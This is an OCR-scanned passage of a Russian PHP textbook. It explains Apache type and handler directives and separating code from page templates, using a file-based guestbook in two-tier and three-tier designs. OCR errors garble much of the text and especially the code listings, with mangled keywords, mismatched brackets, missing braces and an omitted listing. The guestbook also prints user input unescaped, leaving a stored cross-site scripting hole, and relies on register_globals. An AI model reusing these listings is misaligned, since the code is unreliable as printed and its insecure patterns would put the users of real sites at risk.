рением имеют тот же тип, что и с расширением php.

Что же такое тип документа"? Это еще одно понятие, которое использует
Apache в своей работе. Некоторые из этих типов также "понимают" и брау-
зеры. В их числе, например, text/html , обозначающий HTML-страницу,
image/gif , который сигнализирует, что данные являются рисунком GIF,
и т. д. Именно этими типами (а не расширениями страниц!) руководствуют-
ся браузеры, когда решают, в каком формате прислал сервер данные.
Однако есть несколько типов документов, которые никогда не отсылаются
браузеру в исходном виде. Один из них — appiication/x-httpd-php . Имен-
но с этим типом и связан интерпретатор РНР. Если сервер "видит", что поль-
зователь запросил страницу, которая имеет тип appiication/x-httpd-php , он

----------------------- Page 428-----------------------
Глава 29. Модульность программы. Написание "библиотекаря" _ 413

активизирует РНР, а уж тот берет на себя всю дальнейшую ответственность
по запуску сценария и выводу "правильного" заголовка типа (чаще всего
text /html) в браузер.

Как же сервер узнает, какой тип имеет тот или иной документ? Вообще го-
воря, это отдельная проблема. Самое простое ее решение — определять тип
по расширению файла. В большинстве случаев это оказывается самым луч-
шим решением. Программист может сам задать, какое расширение соответ-
ствует тому или иному типу, добавив в нужный файл .htaccess следующую
директиву :

Ada'i'ype имя типа расширение ! расширение2 ...

[^ Примечание

А как быть, если многие из наших документов не имеют в принципе никакого
расширения? Например, мы хотим хранить рисунки GIF, JPG и PNG в файлах
без расширения. Разумеется, в этом случае директива AddType нам не помо-
жет. Однако у Apache существует еще одно мощное средство для распознава-
ния типов страниц — это модуль mod_mime_magic (конечно, если он подклю-
чен к той версии сервера, которая установлена у вашего хостинг-провайдера).
В случае, если определение типа на основе директив AddType закончилось не-
удачей, этот модуль пытается по нескольким первым байтам файла узнать, ка-
кого же он типа. Например, во всех GIF-файлах первые три байта — символы
G, I и F. Поэтому с вероятностью практически 100% определение типа прохо-
дит правильно.

Предположим, что мы хотим связать расширение php4 с РНР для всего сай-
та. Для этого запишем в файл .htaccess , расположенный в корневом ката-
логе сервера, такую директиву:

AddType application/x-httpd-php php4

Теперь для всех файлов с расширением php4 будет выполняться то же, что и
для php. Кстати говоря, именно такая директива (но для php) записана в
главном файле nttpd.conf вашего хостинг-провайдера.

Решение проблемы
зацикливания обработчика

Помните, обработчик из листинга 29.5 мы связали только с расширениями
html и htm, но не php? Мы сделали это, чтобы избежать зацикливания обра-
ботчика (см. соответствующее замечание). Давайте исправим положение.
Очевидно, нужно связать с РНР еще одно расширение, которое не будет
использоваться в сайте нигде, кроме как в имени обработчика из листинга
29.5. Пусть это будет, например, php4 . Модифицируем наш .htaccess :

PHF

----------------------- Page 429-----------------------
414 Часть V. Приемы программирования на РНР

AddType application/x-httpd-php php4

# Замкнем имя обработчика на конкретный файл

Action libhandler "/lib/libhandler.php4? "

# Документы этого типа мы желаем "пропускать " через наш обработчик

AddHandler libhandler .html .htm .php

Ну и, конечно , осталось только переименовать имеющийся у нас файл
libhandler.php В libhandler.php4 .

Теперь все сценарии с расширением php могут использовать функции , пре-
доставляемые библиотекарем.

----------------------- Page 430-----------------------
Глава 30

Код и шаблон
страницы

Что и говорить, конечно, очень удобно, что РНР позволяет комбинировать
код программы с обычным HTML-текстом, но этой возможностью все же
не стоит злоупотреблять. И особенно в больших сценариях. Это чередование
очень плохо смотрится: сначала код, потом — вставки HTML, а затем -
опять код. Кроме того, вашему HTML-верстальщику будет крайне трудно
понять, где же в этом сценарии именно "его" участки, которые он может
править и изменять .

Впрочем, особых проблем здесь нет: я предлагаю отделять почти весь код
сценария от текста, задающего внешний вид страницы . А именно — хранить
их в разных файлах. Я уже неоднократно затрагивал такой подход в этой
книге, все время ссылаясь (не совсем явно) на настоящую главу. Что же,
теперь настало время по достоинству оценить тот выигрыш , который дает
нам отделение кода от шаблона страницы.

Думаете , сейчас мы будем углубляться в "дебри теории", далекой от практи-
ки и вряд ли вам полезной? Ничего подобного. Я просто расскажу, как
можно удобно строить свои программы, а в конце приведу довольно "вну-
шительный" код шаблонизатора (так я называю систему управления страни-
цами и шаблонами), который призван сделать работу Web-программиста
максимально простой и эффективной.

^ Примечание

Некоторые программисты утверждают, что отделению кода от шаблона стра-
ницы уделяют слишком много внимания — чрезмерно много. Если и вы так ду-
маете, — что же, я не буду с вами спорить и критиковать вашу точку зрения.
Если бы я не занимался этой проблемой столько времени, то, возможно, и сам
бы так считал. Будем честны: отвечает ли проблема отделения кода от шабло-
на страницы тому вниманию и количеству страниц, что я ей здесь уделил? От-
кровенно говоря, не отвечает. В действительности, чтобы полностью расска-
зать о возможных решениях задачи , потребовалось бы написать отдельную
книгу размером в тысячу страниц. Я же ограничусь всего кое-какими рассужде-
ниями и примером простейшего шаблонизатора.

----------------------- Page 431-----------------------
416 Часть V. Приемы программирования на РНР

Идеология

Большинство сценариев пишутся на различных языках программирования
без всякого отделения кода от шаблона страницы. Зачем же тогда нам это
нужно? Что заставляет нас искать новые пути в Web-программировании?

Причина всего одна. Это — желание поручить разработку качественного и
сложного сценария сразу нескольким людям , чтобы каждый из них зани-
мался своим делом, которое, как предполагается, он знает лучше всего. Од-
на группа людей (назовем ее "программисты") занимается тем, что касается
взаимодействия программы с пользователем и обработки данных. Другая же
группа (для простоты я буду говорить о ней как о "дизайнерах"), наоборот,
отвечает лишь за эстетическую часть работы. Разумеется, программисты и
дизайнеры — не единственные категории, которые нужно сформировать
при создании крупных сайтов. Безусловно, требуется еще одно лицо , кото-
рое бы "связывало" и координировало их между собой. Им может быть че-
ловек , не имеющий выдающихся достижений ни в Web-дизайне, ни в Web-
программировании, но в то же время наделенный хорошей интуицией и
знаниями . Если этого человека нет, кому-то все равно придется выполнять
его работу (например, одному из программистов), что, конечно же, будет
немного противоречить желаниям последнего. В результате работа над про-
ектом затянется и, возможно, "обрастет" излишними сложностями техниче-
ского характера.

( Замечание ^

Я убежден, что нельзя быть одновременно хорошим программистом и выдаю-
щимся дизайнером в указанном только что понимании. Эти две профессии
взаимоисключают друг друга , поскольку требуют совершенно разных складов
мышления. Если у вас нет раздвоения личности, вы без труда определите для
себя, к какой категории людей принадлежите сами.

Зачем нам вообще понадобилось распределять разработку Web-сценариев по
нескольким направлениям? Отвечаю последовательно. Во-первых, так соз-
даются гораздо более качественные программы и Web-страницы . Во-вторых,
сроки выполнения работы значительно сокращаются за счет организации
параллельного выполнения задания. Если вас это все равно не убедило,
вспомните о том, что именно так организуются практически все крупные
Web-студии по всему миру.

Что же получается, если в своих сценариях вы будете смешивать код и
оформление сценария? Фактически, его поддержкой и доработкой не смо-
жет заняться никто, кроме вас самого. В самом деле: программиста будет
раздражать постоянно встречающиеся вставки HTML-кода, а дизайнера —
опасность случайно изменить какую-нибудь важную функцию программы.

----------------------- Page 432-----------------------
Глава 30. Код и шаблон страницы 417

Иными словами, такой метод (да и можно ли назвать его методом?) совер-
шенно не подходит при разработке мало-мальски крупных проектов.

Замечание

С горечью отмечаю, что разработчики РНР практически не приблизили нас к
решению проблемы отделения кода от шаблона страницы. Создается впечат-
ление, что они преследовали как раз противоположные цели: максимально уп-
ростить совмещение HTML и РНР за счет снижения функциональности послед-
него. Когда мы будем разбирать код шаблонизатора ниже в этой главе, вы
увидите, на какие "увертки" нам придется пойти, чтобы обойти все "подводные
камни", невольно расставленные для нас авторами РНР.

Двухуровневая схема

Итак, мы желаем максимально отделить работу программистов и дизайнеров.
Давайте будем делать это не сразу, а постепенно, детализируя ситуацию. Вна-
чале решим более простую проблему: разделим код сценария и шаблон его
страницы (что я называю двухуровневой схемой построения сценария). Это до-
вольно несложно. Мы уже поступали так в главе 28, когда писали сценарий
простейшего фотоальбома. Теперь мы поставим задачу более точно.

Шаблон страницы

Пусть нам нужно завести новый раздел сайта — гостевую книгу . Выделим
для нее отдельный каталог на сервере и создадим в нем файл примерно сле-
дующего содержания (листинг 30.1). Назовем его шаблоном страницы.

Листинг 30.1. Шаблон: gbook.htm

<htmlxheadxtitle>rocTeBaH Kiaira</title></head>

<body>
<Ь2>Добавьте свое сообщение:</h2>
<form action=gbook.php method=post>
Ваше имя: <input type=text name="New[name]"><br >
Комментарий:<br>
<textarea name="New[text]" wrap=virtual cols=60 rows=5x/textarea><br>
<input type=submit name="doAdd" уа1ие="Добавить!" >
</form>

<Ь2>Гостевая книга:</h2>

<?foreach($Book as $id=>$Entry ) {?>

Имя человека : <?=$Entry['name']?><br>

----------------------- Page 433-----------------------
418 Часть V. Приемы программирования на РНР

Его комментарий:<br> <?=$Entry['text']?><hr >

<?}?>
</body></html>

Видите, здесь почти нет PHP-кода , за исключением разве что одного-
единственного цикла foreach . Для человека, занимающегося внешним ви-
дом вашей гостевой книги и совершенно не разбирающегося в программи-
ровании, это не должно выглядеть, как непреодолимое препятствие.

В некоторых других языках программирования мы могли бы написать сис-
тему, лишенную и указанного недостатка, но обладающую всеми качествами
рассматриваемой. Честно говоря, существует всего лишь один способ до-
биться этого: "замаскировать" инструкцию foreach специальным псевдотэ-
гом (который, как это ни удивительно, гораздо лучше воспринимается ди-
зайнерами), чтобы код выглядел примерно так:

<foreach src=Book>

Имя человека : $name<br>

Его комментарий:<br>$text<hr>

</foreach>

Согласен, для программиста такая замена действительно кажется смешной .
Однако она сильно приближает шаблон нашей страницы к идеалу — прак-
тически "чистому" HTML-коду.

Примечание

Хочу сразу сказать всем любителям разбивать один шаблон на множество
файлов: их способ чаще всего не оправдывает себя.при написании крупных
сценариев. Дело в том, что при такой организации довольно тяжело перестав-
лять подшаблоны внутри страницы. Кроме того, подшаблоны нужно как-то за-
гружать, а поручать эту задачу коду страницы не очень удобно все из тех же
соображений: придется работать и программисту, и верстальщику. Легче всего
это представить на примере все той же гостевой книги: если бы мы выделили
тело цикла foreach в отдельный файл и попытались избавиться от этой инст-
рукции, то пришлось бы переложить задачу циклического вывода данных на
плечи программиста, сообщив ему попутно имя подшаблона. Чувствуете,
сколько лишних зависимостей?..

Надо заметить, что реализовать "прозрачную" замену подобных тэгов на со-
ответствующие инструкции в РНР практически невозможно (во всяком слу-
чае, без ущерба простоте отладки сценария). Это связано с чрезвычайной
слабостью этого интерпретатора в вопросе, касающемся "перехвата" и обра-
ботки ошибок во время выполнения кода. К счастью, такая слабость оказы-
вается непреодолимой лишь в подобных "экзотических" случаях. При напи-
сании шаблонизатора она сказывается гораздо меньше .

----------------------- Page 434-----------------------
Глава 30. Код и шаблон страницы _ 419

Генератор данных

Конечно, это еще далеко не весь сценарий. Вы, наверное, заметили, что
сердце шаблона — цикл foreach вывода записей — использует непонятно
откуда взявшуюся переменную $Book , по контексту — двумерный массив.
Кроме того, при отправке формы тоже ведь нужно предусмотреть некоторые
действия (а именно, добавление записи в книгу).

Мы видим, что где-то должен быть скрыт весь этот код. Он, действительно,
располагается в отдельном файле с именем gbook.php . Отличительная черта
этого файла — то, что в нем нет никакого намека на то, как нужно форма-
тировать результат работы сценария. Именно поэтому я называю его генера-
тором данных (листинг 30.2).

; Листинг 30.2. Генератор данных: gbook.php

define ( "GBook" , "gbook . dat " ) ; // имя файла с данными гостевой книги

// Загружает гостевую книгу с диска . Возвращает содержание книги .

function LoadBook ($fname)

{ $f =@f open (GBook , "rb") ; if(!$f) return array ();

$Book=Unserialize(fread($f, 100000) ) ; fclose($f) ;

return $Book ;

}

II Сохраняет содержимое книги на диске .

function SaveBook ($fname , $Book )

{ $f =f open (GBook , "wb" } ;

fwrite ($f , Serialize ($Book) ) ;

fclose ($f) ;

// Исполняемая часть сценария .

// Сначала — загрузка гостевой книги .

$Book=LoadBook(GBook};

// Обработка формы , если сценарий вызван через нее .

// Если сценарий запущен после нажатия кнопки Добавить.. .

if(!empty($doAdd)} {

// Добавить в книгу запись пользователя — она у нас хранится

// в массиве $New , см . форму в шаблоне . Запись добавляется ,

// как водится , в начало книги .

----------------------- Page 435-----------------------
420 _ Часть V. Приемы программирования на РНР

$Book=array (time ( ) =>$New) +$Book;

// Записать книгу на диск .

SaveBook (GBook, $Book) ;

// Все. Теперь у нас в $Book хранится содержимое книги в формате:

// array (

// время_добавления => array (

// (или id) name => имя_пользователя,

// text => текст_пользователя

// Вот теперь загружаем шаблон страницы.

include "gbook.htm" ;

Как видим , исполняемая часть довольно небольшая и, действительно, зани-
мается лишь подготовкой данных для их последующего вывода в шаблоне.
Шаблон рассматривается этой составляющей как обычный PHP-файл, кото-
рый она подключает при помощи инструкции include . Ясно, что весь код
шаблона (хотя его и очень мало) выполнится в том же контексте, что и ге-
нератор данных , а значит, ему будет доступна переменная $Book .

Логически весь код можно разбить на 3 части. Первая из них — задание
конфигурации сценария, в нашем случае она состоит всего лишь в опреде-
лени и одной-единственной константы GBook , хранящей имя файла гостевой
книги. Во второй части, которую можно назвать "прикладным интерфейсом"
гостевой книги , содержатся описания функций , достаточных для работы с
гостевой книгой . Это, конечно, функции загрузки и сохранения наполнения
книги на диске. Наконец, третья часть генератора данных обрабатывает за-
просы пользователей на добавление данных в книгу .

Таким образом, для работы нашего сценария нужны три файла: генератор
данных, шаблон книги и файл с записями книги. В принципе, это мини-
мум, если только не привлекать для хранения записей базу данных (что,
безусловно, лучше в больших программах). Однако в нашем случае проще
как раз работать с файлами , поэтому я на них и остановился .

Замечание ^)

Обратите внимание: для того чтобы теперь переделать гостевую книгу так, что-
бы она использовала базу данных, а не файл, достаточно изменить всего лишь
2 функции: LoadBook( ) и saveBook() . Ни других частей генератора данных,

----------------------- Page 436-----------------------
Глава 30. Код и шаблон страницы 421

ни, тем более, шаблона это не затронет. На самом деле, такой подход не явля-
ется случайностью: он очень тесно связан с трехуровневой схемой построения
интерактивных сценариев, о которой мы скоро будем говорить.

Взаимодействие генератора
данных и шаблона

Вернемся опять к тому же генератору данных. В нем мы проверяем, не за-
пущен ли сценарий книги в ответ на нажатие кнопки Добавить в форме. Тут
я хочу кое-что напомнить. Если вызвать программу без параметров, то поль-
зователю будет просто выдано содержимое гостевой книги , в противном же
случае (то есть при запуске из формы) осуществится добавление записи. Та-
ким образом, мы "одним махом убиваем двух зайцев": используем один и тот
же шаблон для двух разных страниц, внешне крайне похожих. Такую прак-
тику нужно только приветствовать, не правда ли? Определяем мы, нужно ли
добавлять запись, по состоянию переменной $doAdd. Помните, именно та-
кое имя имеет submit-кнопка в форме? Когда ее нажимают, сценарию по-
ступает пара "doAdd=flo6aBMib!" , чем мы и воспользовались. Итак, если
кнопка нажата , то мы вставляем запись в начало массива $Book и сохраняем
его на диске .

Обратите внимание , насколько проста операция добавления записи . Так по-
лучилось вследствие того, что мы предусмотрительно дали полям формы с
названием и текстом имена , соответственно, N e w f n a m e ] и N e w [ t e x t ] , кото-
рые РНР преобразовал в массив. Вообще говоря, придумывание таких имен
для полей — задача как раз того "третьего лица", о котором я говорил выше.
Это — работа скорее программистская, нежели дизайнерская (хотя, безус-
ловно, от удачного планирования названий имен полей зависит не так уж и
мало).

Подчеркиваю, что в самом коде генератора данных gbook.php в принципе не
присутствует никаких данных о внешнем виде нашей гостевой книги . В нем
нет ни одной строчки на HTML. Иными словами, генератору совершенно
"все равно", как выглядит книга. Он занимается лишь ее загрузкой и обра-
боткой. Это значит, что в будущем для изменения внешнего вида гостевой
книги нам не придется править этот код, т. е. мы добились некоторого же-
лаемого разделения труда дизайнера и программиста.

С другой стороны, шаблон gbook.htm не делает никаких предположений о
том, как же именно хранится книга на диске и как она обрабатывается. Его
дело — "красиво" вывести содержимое массива $Book, "и точка". К тому же
он почти не содержит кода на РНР (разве что самый минимум , без кото-
рого никак не обойтись). А значит , дизайнеру будет легко изменять внеш-
ний вид книги .

----------------------- Page 437-----------------------
422 Часть V. Приемы программирования на РНР

Недостатки

У любой медали есть оборотная сторона и, как часто бывает, от ее качества
зависит довольно много. Имеется она и у двухуровневой схемы построения
сценариев. Давайте систематизируем все недостатки и постепенно будем их
исправлять.

1. Что такое для пользователя "гостевая книга" ? Конечно х<е, это прежде
всего страница. А для разработчика сценария? Разумеется, программный
код. Получается, что взгляды пользователя несколько отличаются от воз-
зрений разработчика. Как разрешить сформулированную неувязку? Для
этого нужно посмотреть на нашу систему "генератор данных — шаблон"
со стороны. Что мы видим? Генератор данных загружает данные с диска ,
а затем обращается к шаблону , чтобы тот их вывел. Но пользователь хо-
чет иметь перед глазами прежде всего шаблон, а не работу генератора!
Мы же заставляем его запускать программу . Возможно, следующее поло-
жение и покажется спорным , но на практике оно полностью оправдывает
себя. А именно , предлагается поменять направление обмена данными
между шаблоном и генератором данных . Пусть шаблон запрашивает дан-
ные у генератора, а тот их ему предоставляет. Согласитесь, это укладыва-
ется даже в замечательно зарекомендовавшую себя модель обмена "клиент-
сервер": шаблон — это клиент, а генератор данных — сервер.

2. Хотя шаблон двухуровневой схемы и является подчиненным элементом,
он все же вынужден ссылаться на имя генератора данных через атрибут
action тэга <form> . Конечно, это вносит лишь дополнительную неразбе-
риху и является еще одним стимулом к замене понятий "главный" и
"подчиненный".

3. Генератор данных состоит из излишне большого числа логических бло-
ков, связанных лишь односторонне. В самом деле, если мы будем писать
систему администрирования для нашей гостевой книги, нам опять пона-
добятся функции загрузки и сохранения данных (то есть, функции
LoadBookO и saveBooko) . Поэтому логично будет выделить их в отдель-
ный файл, который я здесь буду называть ядром сценария. Ядро — это
третий компонент в трехуровневой схеме построения программы , о кото-
рой мы сейчас будем говорить. Разумеется, в сложных системах ядро мо-
жет состоять из десятков (и даже сотен) файлов. Вообще говоря, оно
также содержит и сведения о конфигурации (константу GBook) , так что
часто бывает удобно выделить эти данные в отдельный файл.

4. Шаблон страницы вмещает в себя весь ее HTML-код. В то же время, в
современном мире подавляющее большинство сайтов организовано так,
что их страницы построены по одной и той же "модели" (например, кар-
та раздела слева, текст справа, баннер вверху, дополнительная информа-
ция снизу и т. д.). Согласитесь, что копировать один и тот же шаблон в

----------------------- Page 438-----------------------
Глава 30. Код и шаблон страницы 423

сотни мест просто неприемлемо для последующего редизайна (который,
скорее всего, последует практически сразу, потому что при первой реали-
зации довольно сложно бывает сразу учесть все пожелания заказчика).
Конечно, мы можем вставить в нужные места шаблона вызовы инструк-
ции include , загружающей соответствующие блоки страниц. Однако при
детальном рассмотрении оказывается, что это всего лишь некоторая
"отсрочка" неизбежной проблемы редизайна. В самом деле, мы сможем
легко менять внешний вид отдельных блоков, но у нас не получится пе-
реставлять их в другом порядке (например, карта — справа, текст — сле-
ва) без утомительного изменения HTML-кода всех страниц.

Пожалуй, пока достаточно. Сейчас мы попытаемся решить все эти пробле-
мы, кроме последней (традиционно являющейся для Web-студий настоящим
ящиком Пандоры), которой мы тоже вскоре займемся, что выльется, как вы
увидите, в довольно внушительный объем кода.

Трехуровневая схема

Итак, в отличие от двухуровневой, трехуровневая схема построения сцена-
рия содержит специально выделенный код, или ядро, которое совместно ис-
пользуют все "генераторы данных". Почему я заключил последний термин в
кавычки? Да потому, что теперь мы будем называть его по-другому, а имен-
но, интерфейсным кодом (или просто интерфейсом, хотя это, возможно, и не
совсем корректно) сценария. Генератор данных — по-прежнему сущность,
являющаяся объединением ядра и интерфейса.

Кроме того, при использовании трехуровневой схемы пользователь никогда
"не видит" генератор данных. Он всегда имеет дело только с шаблоном
страницы, который иногда выглядит, как программа. Это происходит при
обращении к шаблону (а следовательно, и к генератору данных) из формы в
браузере.

Шаблон страницы

Теперь шаблон сам вызывает генератор, который предоставляет ему нужные
данные, а заодно и реагирует на запросы пользователя. Он выполняет это,
например, при помощи все той же инструкции include :

Листинг30.3. Шаблон: gbook.html

<?include "gbook.php"? >

<htmlxhead><title>rocTeBaH KHMra</title></head >

<body>

----------------------- Page 439-----------------------
424 Часть V. Приемы программирования на РНР

<Ь2>Добавьте свое сообщение:</Ь2>

<form action=gbook.html method=post>

Ваше имя : <input type=text name="New[name]"><br>

Я не буду приводить текст страницы целиком, т. к. после определения фор-
мы он идентичен листингу 30.1. Итак, мы помещаем инструкцию include
самой первой строчкой шаблона, и на это есть своя причина . Дело в том,
что при различных , скажем так, "аварийных" событиях генератор данных
может перенаправить браузер на другой адрес, не вернув управление в шаб-
лон. Конечно, если бы include размещалась где-нибудь в середине шабло-
на, мы не смогли бы этого сделать, поскольку часть страницы могла быть
уже отослана пользователю.

( Замечание J

К слову сказать, при использовании шаблонизатора, описанного ближе к концу
этой главы, мы преодолеваем и этот недостаток. А именно, имеется возмож-
ность вставлять вызов генератора данных в любое удобное место шаблона.

Заметьте, что шаблон имеет расширение HTML и выглядит для пользовате-
ля как обычная HTML-страница. Пользователь может и не подозревать, что
в действительности сценарий написан на РНР. Но, чтобы описанный меха-
низм заработал, нам необходимо связать расширение HTML с обработчиком
РНР. Мы уже делали это в главе 29. Вот какую строчку нужно добавить в
файл .htaccess , расположенный в каталоге (или "надкаталоге") сценария:

AddHandler application/x-httpd-php .html

Внимание

Мы должны использовать директиву AddHandler, а не AddType, на случай, если
для расширения HTML был ранее установлен другой обработчик. Им может быть,
например, SSI (Server-Side Includes — Включения на стороне сервера) или даже
РНР версии 3. В этом случае директива AddType "не срабатывает".

Пока применение include является для нас единственным средством обра-
щения к генератору данных. Я все время повторяю эту фразу - • "обращение
к генератору данных". Вообще говоря, она не совсем верна. В действитель-
ности обращение из шаблона происходит лишь к интерфейсу сценария, но
не к его ядру. Ядро доступно для шаблона лишь посредством общения с ин-
терфейсом, и никак не иначе. В свою очередь, ядро также не может "разго-
варивать" с шаблоном (во всяком случае, не должно).

Мы видим , что во всех операциях передачи данных неизменно используется
"посредник" - - интерфейсная часть программы. Это открывает для нас ин-
тересные потенциальные возможности (которые на практике задействуются

----------------------- Page 440-----------------------
Глава 30. Код и шаблон страницы 425

довольно редко). А именно, ядро и шаблон могут в принципе "разговаривать
на разных языках", тогда интерфейс будет служить их "переводчиком". Если
задуматься, то это и есть главная задача интерфейса.

Диаграммы двухуровневой
и трехуровневой моделей

Наверное, пришло время нарисовать схему взаимодействия частей програм-
мы при использовании двухуровневой и трехуровневой модели построения,
а также еще раз подчеркнуть их различия. Стрелками (рис. 30.1 и 30.2) обо-
значены зависимости, которые можно охарактеризовать словами как
"предоставляет данные". Пунктирные стрелки отмечают зависимости, реали-
зуемые достаточно редко. На схемах это не что иное, как переадресация на
другую страницу, возможно, выполняемая генератором данных.

Рис. 30.1. Двухуровневая схема

Мы видим, что в случае двухуровневой схемы связи между компонентами
сценария исключительно циклические (см. рис. 30.1). Каждая часть про-
граммы взаимодействует на равных с другой ее частью.

Легко заметить, что рис. 30.2 гораздо сложнее, чем рис. 30.1. Его "загружен-
ность" объясняется тем, что трехуровневая схема более, чем это может пока-
заться с первого взгляда, сложна и универсальна по сравнению с двухуров-
невой. Обратите внимание на то, что практически все связи стали двусто-
ронними, а циклические — исчезли. Это позволяет работать блоком более
независимо, чем для случая двухуровневой модели. А значит, работу над
сценарием можно распределить по нескольким исполнителям более эффек-
тивно, — к чему мы и стремились.

^ Примечание

Единственный блок программы, который не связан с другими двусторонними
связями, — файл конфигурации системы. Это неудивительно, ведь конфигура-

----------------------- Page 441-----------------------
426 Часть V. Приемы программирования на РНР

ция содержит лишь набор определений констант и переменных, которыми
пользуются все остальные блоки схемы. Впрочем, стрелка, ведущая из блока
конфигурации в шаблон страницы, хотя и может существовать без особых по-
следствий, все-таки иногда выглядит несколько нелогично. Рекомендуется так
строить сценарии, чтобы шаблону не требовалась информация о конфигура-
ции. Он должен обращаться только к данным, сгенерированным интерфейсом.

Генератор данных

Шаблон Интерфейсная
часль Ядро
~ программы
страницы
А k t

Конфигу-
рация
t i ....

г
1

Пользователь

Рис. 30.2. Трехуровневая схема

Интерфейс

Как можно заметить из листинга 30.4, интерфейс сценария гостевой книги стал
гораздо проще, чем это было с генератором данных из листинга 30.2. Файл, в
котором содержится его код, называется точно так же, как и файл генератора.
Это и не удивительно: "снаружи" интерфейс выглядит как полноценный генера-
тор данных, а о существовании ядра шаблон даже и не "подозревает".

! Листинг 30.4. Интерфейс: gbook.php

include "kernel.php" ; // Загружаем ядро .
$Book=LoadBook(GBook); // Загрузка гостевой книги.
// Обработка формы, если сценарий запущен через нее.
if(!empty($doAdd) ) {
// Добавить в книгу запись пользователя .

----------------------- Page 442-----------------------
Глава 30. Код и шаблон страницы 427

$Book=array(time()=>$New)+$Book;

// Записать книгу на диск .

SaveBook(GBook, $Book ) ;

// Загрузка шаблона не нужна — теперь , наоборот , шаблон

// вызывает интерфейс .

Как видим, интерфейс занимается только той работой, для которой он и
предназначен: выступает "посредником" между ядром и шаблоном. Самым
первым загружается ядро — файл kernel . php (я люблю так его называть).
Дальше осуществляется исключительно обработка и "расшифровка" входных
данных и формирование выходных.

Ядро

Ядро — это самая ответственная, но, на мой взгляд, в то же время и самая
скучная часть работы профаммиста. Действительно, оно напрямую не взаи-
модействует с шаблоном страницы, а значит , не имеет права "общаться" с
пользователем.

Ядро в идеале должно содержать лишь набор функций, которые позволяют
исчерпывающим образом работать с объектом профаммы. В этом смысле
идеально его объектно-ориентированное построение. Об объектно-ориенти-
рованном профаммировании на РНР будет вкратце рассказано в главе 31, а
пока не будем усложнять и без того "скользкую" задачу и посмотрим, что
представляет собой ядро нашей гостевой книги (листинг 30.5).

i Листинг 30.5. Ядро: kernel. php

// Загружаем конфигурацию .

include "config.php " ;

// Загружает гостевую книгу с диска . Возвращает содержимое книги .

function LoadBook ( $ f name )

( $f=@f open (GBook , "rb") ;

if(!$f) return arrayO ;

$Book=Unserialize(f read ($f, 100000) ) ;

fclose (Sf ) ;

return $Book;

}
I / Сохраняет данные книги на диске .

----------------------- Page 443-----------------------
428 Часть V. Приемы программирования на РНР

function SaveBook ($fname , $Book )

{ $f=fopen (GBook , "wb") ;

fwrite ($f , Serialize ($Book) ) ;

f close ($f) ;

Действительно, здесь нет ничего, кроме определений функций и еще одной
инструкции include (вздохните с облегчением — на этот раз последней).
Она добавляет конфигурационные данные нашей книги — всего лишь одну-
единственную константу GBook, определяющую имя файла, в котором гос-
твевая книга и будет храниться. "Для порядка" приведу и его (листинг 30.6).

; Листинг 30. 6. Конфигурация: config.php

<?

define ("GBook" , "gbook.dat") ; // имя файла с данными книги

^ Примечание

Что же у нас получилось в результате? Мы "растянули" простой сценарий на
целых 5 файлов (если считать еще и .htaccess , то на 6). Что ж, если вы так
думаете, я с вами соглашусь. Тут все дело в том, что для простых сценариев (а
именно такой мы и рассматривали) трехуровневая схема построения оказыва-
ется чересчур уж "тяжеловесной". Про такую ситуацию в народе говорят: "из
пушки по воробьям". Что же касается сложных систем, не следует забывать,
что "единственность" ядра может сэкономить нам количество файлов, если у
комплекса много различных интерфейсов (например, разветвленная система
администрирования), не говоря уже о простоте отладки и поддержки. Кроме то-
го, можно полностью разделить работу по написанию ядра и интерфейса меж-
ду несколькими людьми.

Проверка корректности входных данных

До сих пор мы не заботились о том, корректные ли данные заносит посети-
тель. В нашей ситуации это и не нужно: в книгу кто угодно может добавлять
любую информацию. В то же время в реальной жизни, конечно, приходится
проверять правильность введенных пользователем данных.

Например, мы можем ввести в нашу гостевую книгу цензуру, которая будет
запрещать пользователям употреблять в сообщениях ненормативную лекси-
ку. Конечно, при вводе недопустимого текста он не должен добавиться в
гостевую книгу ; вместо этого в браузер пользователя хотелось бы вывести

----------------------- Page 444-----------------------
Глава 30. Код и шаблон страницы 429

предупреждение. Но как осуществить желаемую модерацию в соответствии с
трехуровневой схемой? И какая часть программы должна за это отвечать?

На второй вопрос ответить довольно просто. Так как ядро не в состоянии
"общаться" с шаблоном напрямую , а шаблон не может исполнять сложный
код, остается единственный вариант — интерфейс. А что касается того, как
выводить сообщение об ошибке , — вопрос довольно спорный . Мы рассмот-
рим лишь самое простое решение.

Интерфейс должен сгенерировать сообщение и передать его шаблону . По-
следний, "заметив" сообщение, может вывести текст контрастными буквами ,
например, вверху страницы. С этим никаких проблем быть не должно.
Пусть интерфейс в случае ошибки создает переменную $ЕГГО Г и присваива-
ет ей текст ошибки . Вот как может выглядеть шаблон:

Замечание

Такой подход, хоть и прост, оказывается немного неудобным для пользовате-
ля. Действительно, ему сообщают, что произошла ошибка, но не говорят, на-
пример, какое именно поле формы он заполнил неправильно. Пользователь
желает, чтобы сообщения об ошибках появлялись напротив неверно введен-
ных данных. К сожалению, без дополнительного программирования в шаблоне
на РНР этого добиться довольно сложно (если вообще возможно). Единствен-
ный имеющийся выход — использовать шаблонизатор и написать для него
фильтр (функцию, занимающуюся финальной обработкой блока страницы пе-
ред ее отправкой), которая будет в автоматическом режиме рядом со всеми тэ-
гами формы проставлять возможные сообщения об ошибках (а заодно и атри-
буты value в самих тэгах, чтобы поля формы сохраняли свои значения между
вызовами сценария). Эта задача, пожалуй, потребует всей информации о РНР,
заложенной в этой книге, и еще, вероятно, хорошего знания регулярных выра-
жений Perl. Код, полностью решающий проблему, слишком объемен, чтобы
уместиться на страницах данной книги.

Шаблонизатор

Вот мы и добрались до смысла "этого сладкого слова" -- шаблонизатора, ко-
торое я применяю то тут, то там по всему тексту. Возможно , чуть разобрав-
шись в прилагаемом исходном коде, а затем и опробовав программу на
практике (наверное, переписав на свой лад), вы разделите мое убеждение о
том, что хороший шаблонизатор может сэкономить студии немало лишних
часов работы.

----------------------- Page 445-----------------------
430 Часть V. Приемы программирования на РНР

Выше я описал недостатки двухуровневой схемы и показал, как их можно
преодолеть при помощи трехуровневой модели построения сложных сцена-
риев. Но, если вы помните , одна задача так и осталась нерешенной .
А именно, мы обратили внимание , что даже при использовании трехуровне-
вой схемы мы не можем легко менять внешний вид многих страниц сразу -
без утомительного изменения шаблонов каждой из них . Если вы не забыли,
решение с включаемыми файлами (в каждом из которых содержится от-
дельный, общий для всех сценариев блок страницы) также нам не подходит,
потому что оно лишь слегка меняет постановку проблемы редизайна . Даже
используя инструкцию include , мы попадем в тупик , если захотим изме -
нить положения некоторых блоков на странице.

В общем, при всех достоинствах трехуровневой модели построения сцена-
рия ее необходимо несколько видоизменить , чтобы добиться хотя бы мини -
